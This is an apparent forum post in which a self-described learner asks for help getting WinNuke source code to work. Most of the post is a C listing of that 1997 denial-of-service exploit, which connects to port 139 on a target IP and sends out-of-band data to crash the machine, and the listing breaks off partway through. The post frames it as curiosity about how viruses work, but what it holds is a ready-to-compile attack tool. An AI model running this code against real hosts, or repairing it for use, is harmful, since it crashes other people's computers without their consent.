Posts by CreativeCoding

So I am sorta interested in viruses. No, I do not plan to make the next conficker or even something that will trash my brothers PC. But I want to learn about how they work. What they do that makes PC's let them into their system...

So for a first, I looked into winnuke. WinNuke is a really old hack that just causes a BSOD of the target using only that computers IP. I have found the source code and need help.

here it is:

/* winnuke.c - (05/07/97)  By _eci  */
/* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */
#include <stdio.h>
#include <string.h>
//#include <netdb.h>
//#include <in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
//#include <OS.h>
//#include <inet.h>
//#include <bsd_mem.h>

#define dport 139  /* Attack port: 139 is what we want */
int x, s;
char *str = "Bye";  /* Makes no diff */
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;
int open_sock(int sock, char *server, int port) {
     struct sockaddr_in blah;
     struct hostent *he;
     bzero((char *)&blah,sizeof(blah));
     blah.sin_family=AF_INET;
     blah.sin_addr.s_addr=inet_addr(server);
     blah.sin_port=htons(port);
    if ((he = gethostbyname(server)) != NULL) {
         bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
    }
    else {
         if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
           perror("gethostbyname()");
           return(-3);
         }
    }
        if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
             perror("connect()");
             close(sock);
             return(-4);
        }
        printf("Connected to [%s:%d].\n",server,port);
        return 0;
}
int main(int argc, char *argv[]) {
     if (argc != 2) {
       printf("Usage: %s <target>\n",argv[0]);
       exit(0);
     }
     if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
        perror("socket()");
        exit(-1);
     }
     open_sock(s,argv[1],dport);
     printf("Sending crash... ");
       send(s,str,strlen(str),MSG_OOB);
       //snooze(100000); …